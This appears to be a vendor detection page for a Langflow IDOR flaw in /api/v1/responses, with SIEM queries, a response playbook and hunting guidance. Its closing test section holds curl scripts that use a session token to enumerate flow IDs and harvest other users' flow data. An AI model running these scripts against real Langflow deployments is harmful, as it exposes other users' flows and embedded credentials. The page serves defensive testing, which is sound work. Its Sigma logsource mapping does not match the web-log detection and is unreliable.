Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses
CVE-2026-55255 is a critical IDOR (Insecure Direct Object Reference) vulnerability in Langflow versions prior to 1.9.1, now confirmed actively exploited in the wild and listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. An authenticated attacker can enumerate and access another user's flow data by manipulating object identifiers in requests to the /api/v1/responses endpoint. With a CVSS score of 9.9, this vulnerability allows horizontal privilege escalation between users, potentially exposing sensitive AI flow configurations, credentials embedded in flows, and proprietary automation logic. Organizations running Langflow must treat patching as urgent given KEV status and active exploitation.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- pip
- Product
- langflow
- Versions
- < 1.9.1
Weakness (CWE)
Timeline
- Disclosed
- June 19, 2026
- Patched
- July 7, 2026
What is CVE-2026-55255 Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses?
Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses (CVE-2026-55255) maps to the Credential Access and Collection tactics — the adversary is trying to steal account names and passwords in MITRE ATT&CK.
This page provides production-ready detection logic for Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses, covering the data sources and telemetry it touches: Azure Application Gateway Logs, App Service HTTP Logs, Web Application Firewall Logs, Azure Diagnostics. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Credential Access Collection
union isfuzzy=true
AzureDiagnostics,
AppServiceHTTPLogs
| where TimeGenerated >= ago(24h)
| where requestUri_s has "/api/v1/responses"
or CsUriStem has "/api/v1/responses"
| extend UriStem = coalesce(requestUri_s, CsUriStem)
| extend StatusCode = coalesce(sc_status_d, ScStatus)
| extend CallerIP = coalesce(clientIP_s, CIp)
| extend UserAgent = coalesce(userAgent_s, CsUserAgent)
| where StatusCode == 200
| summarize
RequestCount = count(),
DistinctFlowIds = dcount(extract(@"responses/([^/?]+)", 1, UriStem)),
FlowIdList = make_set(extract(@"responses/([^/?]+)", 1, UriStem), 100),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by CallerIP, UserAgent, bin(TimeGenerated, 10m)
| where DistinctFlowIds >= 5
| extend Severity = case(
DistinctFlowIds >= 20, "Critical",
DistinctFlowIds >= 10, "High",
"Medium"
)
| project FirstSeen, LastSeen, CallerIP, UserAgent, RequestCount, DistinctFlowIds, FlowIdList, Severity Detects potential IDOR exploitation against Langflow /api/v1/responses by identifying authenticated sessions that enumerate large numbers of distinct flow IDs within a short window, indicating systematic object reference manipulation.
Data Sources
Required Tables
False Positives
- Langflow administrators or power users legitimately browsing many flows via the UI
- Automated integration pipelines that poll multiple flow results in bulk
- Load testing or health-check scripts that iterate over known flow IDs
- Langflow platform itself performing internal result aggregation across flows
Sigma rule & cross-platform mapping
The detection logic for Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses (CVE-2026-55255) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-55255
References (6)
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-qrpv-q767-xqq2
- https://github.com/langflow-ai/langflow/pull/12832
- https://github.com/advisories/GHSA-qrpv-q767-xqq2
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-55255
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated Flow ID Discovery via /api/v1/responses
Expected signal: 20 GET requests to /api/v1/responses/* within seconds, all from the same source IP and Authorization header, appearing in web/application access logs
- Test 2Targeted Cross-User Flow Access Using Known Flow ID
Expected signal: Single authenticated GET request to /api/v1/responses/<victim_flow_id> returning HTTP 200 with flow response data belonging to a different user
- Test 3Scripted Flow Enumeration with Response Exfiltration
Expected signal: 50 GET requests to /api/v1/responses/* within approximately 30 seconds, with a subset returning HTTP 200 and response bodies containing flow data; all from single source IP
Response Playbook
Triage
- Identify the source IP and authenticated user account associated with the high-frequency /api/v1/responses requests. Cross-reference the user's own flow IDs against the enumerated IDs to confirm cross-user access.
- Determine whether the accessed flow IDs belong to other users by querying the Langflow database (flows table) to map flow_id to owner_id and compare against the requesting user's ID.
- Review the volume and pattern of requests: sequential numeric or UUID enumeration suggests automated tooling. Check User-Agent strings and request timing intervals for scripted behaviour.
- Verify the Langflow version deployed. If below 1.9.1, treat as confirmed vulnerable and apply emergency patch immediately given CISA KEV status. Check `pip show langflow` or the container image tag against affected version range.
- Assess what data was exposed: query Langflow logs or database for the content of the flows that were accessed, including any embedded credentials, API keys, or proprietary automation logic.
Containment
- Immediately block the offending source IP at the WAF, reverse proxy, or network layer to halt further enumeration. If the attacker is an internal authenticated user, suspend their Langflow account.
- Rotate any credentials, API keys, or secrets discovered in exposed flows. Notify affected flow owners that their flow configurations may have been accessed by an unauthorised party.
- If Langflow is internet-facing, consider temporarily restricting /api/v1/responses to internal network access only until the patch is applied and an incident review is complete. CISA BOD 26-04 requires federal agencies to remediate KEV entries within mandated timeframes.
Evidence Collection
- Collect full HTTP access logs for the offending IP covering the incident window, including request headers, response bodies (if logged), and session/authentication tokens used.
- Export the Langflow database audit trail or query the flows and flow_responses tables to produce a definitive list of flow IDs that were accessed, their owners, and content at time of access.
Escalation Criteria
- ! Escalate to CISO and legal if any accessed flows contained PII, customer data, credentials, or regulated information, as this may trigger GDPR/UK-GDPR data breach notification obligations within 72 hours.
- ! Escalate to incident response if enumeration volume exceeds 50 distinct flows or if there is evidence the attacker has exfiltrated flow definitions, as this constitutes a significant data breach requiring formal IR handling. KEV listing indicates nation-state or organised threat actor interest in this vulnerability.
Investigation Guide
Forensic Artifacts
- >
Langflow application logs showing authenticated requests to /api/v1/responses/<flow_id> where flow_id resolves to flows owned by a different user_id - >
Web/proxy access logs with clustered GET requests to /api/v1/responses/* from a single authenticated session within a short time window - >
Langflow database entries in the flow_responses or equivalent table showing read events by non-owner user IDs
Tuning Guidance
Start with a threshold of 5 distinct flow IDs per 10 minutes; adjust upward if your Langflow deployment has legitimate bulk consumers (e.g., integration platforms polling many flows). Add known admin IP ranges or service account identifiers to an allowlist. If Langflow is deployed internally only, restrict the data source scope to internal network segments to reduce false positive volume from external scanners hitting non-Langflow endpoints. Consider adding a secondary condition requiring the accessed flow IDs to resolve to non-requesting-user-owned flows by enriching with Langflow database exports. Given CISA KEV confirmation of active exploitation, lower detection thresholds and increase alert priority for unpatched deployments.
Hunting Queries
Broad threat hunt for any authenticated session accessing three or more distinct Langflow flow IDs via the responses endpoint within an hour — lower threshold than the alert rule to surface early-stage reconnaissance. Given KEV status, hunt retroactively across 30+ days of logs for prior exploitation.
AzureDiagnostics
| where requestUri_s has "/api/v1/responses/"
| extend FlowId = extract(@"/api/v1/responses/([^/?]+)", 1, requestUri_s)
| where isnotempty(FlowId)
| summarize TotalRequests=count(), UniqueFlowIds=dcount(FlowId), FlowIdList=make_set(FlowId,200) by clientIP_s, bin(TimeGenerated, 1h)
| where UniqueFlowIds >= 3
| order by UniqueFlowIds desc index=web uri_path="/api/v1/responses/*" status=200
| rex field=uri_path "/api/v1/responses/(?<flow_id>[^/?]+)"
| stats dc(flow_id) as unique_flows, values(flow_id) as flow_ids, count by src_ip, span(1h)
| where unique_flows >= 3
| sort - unique_flows Atomic Red Team Tests
Simulates an attacker who has obtained a valid Langflow session token and systematically enumerates the /api/v1/responses endpoint using sequential or random UUIDs to discover accessible flows belonging to other users.
Command
TARGET="http://langflow.internal"
TOKEN="<attacker_valid_jwt_token>"
for i in $(seq 1 20); do
FLOW_ID=$(cat /proc/sys/kernel/random/uuid)
HTTP_CODE=$(curl -s -o /tmp/lf_response_${i}.json -w "%{http_code}" \
-H "Authorization: Bearer ${TOKEN}" \
"${TARGET}/api/v1/responses/${FLOW_ID}")
echo "[${i}] Flow ${FLOW_ID} => HTTP ${HTTP_CODE}"
done
echo "Responses saved to /tmp/lf_response_*.json" Cleanup
rm -f /tmp/lf_response_*.json Expected Telemetry
20 GET requests to /api/v1/responses/* within seconds, all from the same source IP and Authorization header, appearing in web/application access logs
Expected Detection
Triggered when 5 or more distinct flow ID requests are observed within 10 minutes from the same source IP with HTTP 200 responses
Simulates an attacker who has obtained a specific victim user's flow ID (e.g., via information disclosure in another endpoint or social engineering) and directly accesses that flow's responses using their own session.
Command
TARGET="http://langflow.internal"
ATTACKER_TOKEN="<attacker_valid_jwt_token>"
VICTIM_FLOW_ID="<known_victim_flow_uuid>"
curl -v \
-H "Authorization: Bearer ${ATTACKER_TOKEN}" \
-H "Accept: application/json" \
"${TARGET}/api/v1/responses/${VICTIM_FLOW_ID}" \
-o /tmp/victim_flow_response.json
echo "Exit: $?"
cat /tmp/victim_flow_response.json | python3 -m json.tool Cleanup
rm -f /tmp/victim_flow_response.json Expected Telemetry
Single authenticated GET request to /api/v1/responses/<victim_flow_id> returning HTTP 200 with flow response data belonging to a different user
Expected Detection
May not trigger volume-based alerting for a single request; relies on Langflow application-layer authorisation enforcement or database audit queries to detect cross-user data access
Simulates a more sophisticated attacker performing automated enumeration of Langflow flow responses, saving all successful results for offline analysis — mimicking a data harvesting attack consistent with KEV-listed active exploitation patterns.
Command
TARGET="http://langflow.internal"
TOKEN="<attacker_valid_jwt_token>"
OUTDIR="/tmp/lf_exfil"
mkdir -p "${OUTDIR}"
# Attempt 50 UUIDs, save 200 responses
for i in $(seq 1 50); do
FLOW_ID=$(python3 -c "import uuid; print(uuid.uuid4())")
RESPONSE=$(curl -s -w "\n%{http_code}" \
-H "Authorization: Bearer ${TOKEN}" \
"${TARGET}/api/v1/responses/${FLOW_ID}")
CODE=$(echo "${RESPONSE}" | tail -1)
BODY=$(echo "${RESPONSE}" | head -n -1)
if [ "${CODE}" = "200" ]; then
echo "${BODY}" > "${OUTDIR}/flow_${FLOW_ID}.json"
echo "[HIT] ${FLOW_ID}"
fi
done
echo "Exfiltrated: $(ls ${OUTDIR} | wc -l) flows" Cleanup
rm -rf /tmp/lf_exfil Expected Telemetry
50 GET requests to /api/v1/responses/* within approximately 30 seconds, with a subset returning HTTP 200 and response bodies containing flow data; all from single source IP
Expected Detection
Triggered by volume threshold (>=5 distinct flow IDs in 10 minutes) in all SIEM detections; may also trigger WAF rate limiting rules if configured